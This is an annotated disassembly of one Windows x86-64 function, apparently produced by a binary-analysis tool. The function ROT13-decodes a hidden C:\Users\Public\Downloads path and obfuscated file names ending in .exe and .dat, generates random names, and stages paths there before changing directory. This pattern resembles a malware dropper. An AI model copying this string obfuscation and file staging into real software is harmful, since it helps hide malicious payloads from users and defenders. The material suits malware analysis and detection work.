Function at 0x140001930
Capabilities:
Set current directory

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x198
mov rsi, rcx
mov rax, qword [0x140056008]
xor rax, rsp
mov qword [rsp + 0x190], rax
xor ecx, ecx
call fcn.14001ac7c
mov ecx, eax
call fcn.14001c760
call fcn.140001520
movups xmm0, xmmword [0x14002e0cb]
movups xmmword [rsp + 0x17b], xmm0
movaps xmm0, xmmword [str.P:HfrefChoyvpQbjaybnqf_]
movaps xmmword [rsp + 0x170], xmm0
lea rcx, [rsp + 0x170]
call fcn.14001cd20
test rax, rax
je 0x140001a17
mov rdi, rax
xor r14d, r14d
jmp 0x1400019b8
inc r14
cmp rdi, r14
je 0x140001a17
movsx ebx, byte [rsp + r14 + 0x170]
mov ecx, ebx
call fcn.14001afe0
test eax, eax
je 0x1400019b0
mov ecx, ebx
call fcn.14001b090
xor ecx, ecx
test eax, eax
sete cl
shl ecx, 5
lea eax, [rcx + 0x41]
neg eax
add eax, ebx
add eax, 0xd
imul edx, eax, 0x4ec5
mov r8d, edx
shr r8d, 0x1f
sar edx, 0x13
add edx, r8d
lea r8d, [rdx + rdx*4]
lea r8d, [r8 + r8*4]
add r8d, edx
sub eax, r8d
add eax, ecx
add eax, 0x41
mov byte [rsp + r14 + 0x170], al
jmp 0x1400019b0
lea r8, [rsp + 0x170]
mov edx, 0x104
mov rcx, rsi
call fcn.140002110
lea r13, [rsi + 0x104]
call fcn.14001c778
movsxd rcx, eax
mov rax, rcx
shr rax, 1
movabs rdi, 0x8421084210842109
mul rdi
shr rdx, 4
mov rax, rdx
shl rax, 6
add rdx, rdx
sub rdx, rax
add rdx, rcx
lea rbx, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
movzx eax, byte [rbx + rdx]
mov byte [rsi + 0x104], al
call fcn.14001c778
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rdi
shr rdx, 4
mov rax, rdx
shl rax, 6
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [rbx + rdx]
mov byte [rsi + 0x105], al
call fcn.14001c778
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rdi
shr rdx, 4
mov rax, rdx
shl rax, 6
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [rbx + rdx]
mov byte [rsi + 0x106], al
call fcn.14001c778
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rdi
shr rdx, 4
mov rax, rdx
shl rax, 6
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [rbx + rdx]
mov byte [rsi + 0x107], al
call fcn.14001c778
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rdi
shr rdx, 4
mov rax, rdx
shl rax, 6
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [rbx + rdx]
mov byte [rsi + 0x108], al
call fcn.14001c778
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rdi
shr rdx, 4
mov rax, rdx
shl rax, 6
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [rbx + rdx]
mov byte [rsi + 0x109], al
call fcn.14001c778
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rdi
shr rdx, 4
mov rax, rdx
shl rax, 6
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [rbx + rdx]
mov byte [rsi + 0x10a], al
call fcn.14001c778
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rdi
shr rdx, 4
mov rax, rdx
shl rax, 6
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [rbx + rdx]
mov byte [rsi + 0x10b], al
mov byte [rsi + 0x10c], 0
lea r12, [rsi + 0x10d]
call fcn.14001c778
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rdi
shr rdx, 4
mov rax, rdx
shl rax, 6
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [rbx + rdx]
mov byte [rsi + 0x10d], al
call fcn.14001c778
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rdi
shr rdx, 4
mov rax, rdx
shl rax, 6
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [rbx + rdx]
mov byte [rsi + 0x10e], al
call fcn.14001c778
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rdi
shr rdx, 4
mov rax, rdx
shl rax, 6
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [rbx + rdx]
mov byte [rsi + 0x10f], al
call fcn.14001c778
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rdi
shr rdx, 4
mov rax, rdx
shl rax, 6
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [rbx + rdx]
mov byte [rsi + 0x110], al
call fcn.14001c778
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rdi
shr rdx, 4
mov rax, rdx
shl rax, 6
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [rbx + rdx]
mov byte [rsi + 0x111], al
call fcn.14001c778
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rdi
shr rdx, 4
mov rax, rdx
shl rax, 6
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [rbx + rdx]
mov byte [rsi + 0x112], al
call fcn.14001c778
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rdi
shr rdx, 4
mov rax, rdx
shl rax, 6
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [rbx + rdx]
mov byte [rsi + 0x113], al
call fcn.14001c778
movsxd rcx, eax
mov rax, rcx
shr rax, 1
mul rdi
shr rdx, 4
mov rax, rdx
shl rax, 6
add rdx, rdx
sub rdx, rax
add rdx, rcx
movzx eax, byte [rbx + rdx]
mov byte [rsi + 0x114], al
mov byte [rsi + 0x115], 0
lea r15, [rsi + 0x116]
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r13
lea rdi, str._s_s_s
mov edx, 0x104
mov rcx, r15
mov r8, rdi
mov r9, rsi
call fcn.140002110
call fcn.140001350
lea r14, [rsi + 0x21a]
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r13
mov edx, 0x104
mov rcx, r14
mov r8, rdi
mov r9, rsi
call fcn.140002110
call fcn.140001520
lea rbx, [rsi + 0x31e]
mov qword [rsp + 0x20], r13
lea r12, str._s_s_
mov edx, 0x104
mov rcx, rbx
mov r8, r12
mov r9, rsi
call fcn.140002110
call fcn.140001350
lea rdi, [rsi + 0x422]
mov qword [rsp + 0x20], r13
mov edx, 0x104
mov rcx, rdi
mov r8, r12
mov r9, rsi
call fcn.140002110
call fcn.140001520
mov qword [rsp + 0x20], r13
lea rcx, [rsp + 0x60]
mov edx, 0x104
mov r8, r12
mov r9, rsi
call fcn.140002110
mov byte [rsp + 0x3c], 0
mov dword [rsp + 0x38], 0x726b722e
mov byte [rsp + 0x34], 0
mov dword [rsp + 0x30], 0x676e712e
movabs rax, 0x797a6b2e72747172
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x58], 0
movabs rax, 0x7463772e72747172
mov qword [rsp + 0x40], rax
mov byte [rsp + 0x48], 0
lea rcx, [rsp + 0x38]
call fcn.14001cd20
test rax, rax
je 0x140001ed3
mov r12, rax
xor ebp, ebp
jmp 0x140001e78
inc rbp
cmp r12, rbp
je 0x140001ed3
movsx r13d, byte [rsp + rbp + 0x38]
mov ecx, r13d
call fcn.14001afe0
test eax, eax
je 0x140001e70
mov ecx, r13d
call fcn.14001b090
xor ecx, ecx
test eax, eax
sete cl
shl ecx, 5
lea eax, [rcx + 0x41]
neg eax
add eax, r13d
add eax, 0xd
imul edx, eax, 0x4ec5
mov r8d, edx
shr r8d, 0x1f
sar edx, 0x13
add edx, r8d
lea r8d, [rdx + rdx*4]
lea r8d, [r8 + r8*4]
add r8d, edx
sub eax, r8d
add eax, ecx
add eax, 0x41
mov byte [rsp + rbp + 0x38], al
jmp 0x140001e70
lea r8, [rsp + 0x38]
mov edx, 0x104
mov rcx, r15
call fcn.14001c7ac
call fcn.140001520
lea rcx, [rsp + 0x30]
call fcn.14001cd20
test rax, rax
je 0x140001f74
mov r15, rax
xor r13d, r13d
jmp 0x140001f18
inc r13
cmp r15, r13
je 0x140001f74
movsx r12d, byte [rsp + r13 + 0x30]
mov ecx, r12d
call fcn.14001afe0
test eax, eax
je 0x140001f10
mov ecx, r12d
call fcn.14001b090
xor ecx, ecx
test eax, eax
sete cl
shl ecx, 5
lea eax, [rcx + 0x41]
neg eax
add eax, r12d
add eax, 0xd
imul edx, eax, 0x4ec5
mov r8d, edx
shr r8d, 0x1f
sar edx, 0x13
add edx, r8d
lea r8d, [rdx + rdx*4]
lea r8d, [r8 + r8*4]
add r8d, edx
sub eax, r8d
add eax, ecx
add eax, 0x41
mov byte [rsp + r13 + 0x30], al
jmp 0x140001f10
lea r8, [rsp + 0x30]
mov edx, 0x104
mov rcx, r14
call fcn.14001c7ac
call fcn.140001350
lea rcx, [rsp + 0x50]
call fcn.14001cd20
test rax, rax
je 0x140002014
mov r14, rax
xor r12d, r12d
jmp 0x140001fb8
inc r12
cmp r14, r12
je 0x140002014
movsx r15d, byte [rsp + r12 + 0x50]
mov ecx, r15d
call fcn.14001afe0
test eax, eax
je 0x140001fb0
mov ecx, r15d
call fcn.14001b090
xor ecx, ecx
test eax, eax
sete cl
shl ecx, 5
lea eax, [rcx + 0x41]
neg eax
add eax, r15d
add eax, 0xd
imul edx, eax, 0x4ec5
mov r8d, edx
shr r8d, 0x1f
sar edx, 0x13
add edx, r8d
lea r8d, [rdx + rdx*4]
lea r8d, [r8 + r8*4]
add r8d, edx
sub eax, r8d
add eax, ecx
add eax, 0x41
mov byte [rsp + r12 + 0x50], al
jmp 0x140001fb0
lea r8, [rsp + 0x50]
mov edx, 0x104
mov rcx, rbx
call fcn.14001c7ac
call fcn.140001520
lea rcx, [rsp + 0x40]
call fcn.14001cd20
test rax, rax
je 0x1400020b4
mov rbx, rax
xor r15d, r15d
jmp 0x140002058
inc r15
cmp rbx, r15
je 0x1400020b4
movsx r14d, byte [rsp + r15 + 0x40]
mov ecx, r14d
call fcn.14001afe0
test eax, eax
je 0x140002050
mov ecx, r14d
call fcn.14001b090
xor ecx, ecx
test eax, eax
sete cl
shl ecx, 5
lea eax, [rcx + 0x41]
neg eax
add eax, r14d
add eax, 0xd
imul edx, eax, 0x4ec5
mov r8d, edx
shr r8d, 0x1f
sar edx, 0x13
add edx, r8d
lea r8d, [rdx + rdx*4]
lea r8d, [r8 + r8*4]
add r8d, edx
sub eax, r8d
add eax, ecx
add eax, 0x41
mov byte [rsp + r15 + 0x40], al
jmp 0x140002050
lea r8, [rsp + 0x40]
mov edx, 0x104
mov rcx, rdi
call fcn.14001c7ac
lea rcx, [rsp + 0x60]
call fcn.14001a700
test eax, eax
je 0x1400020d9
mov rcx, rsi
jmp 0x1400020de
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.140002b00
mov rax, rsi
add rsp, 0x198
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret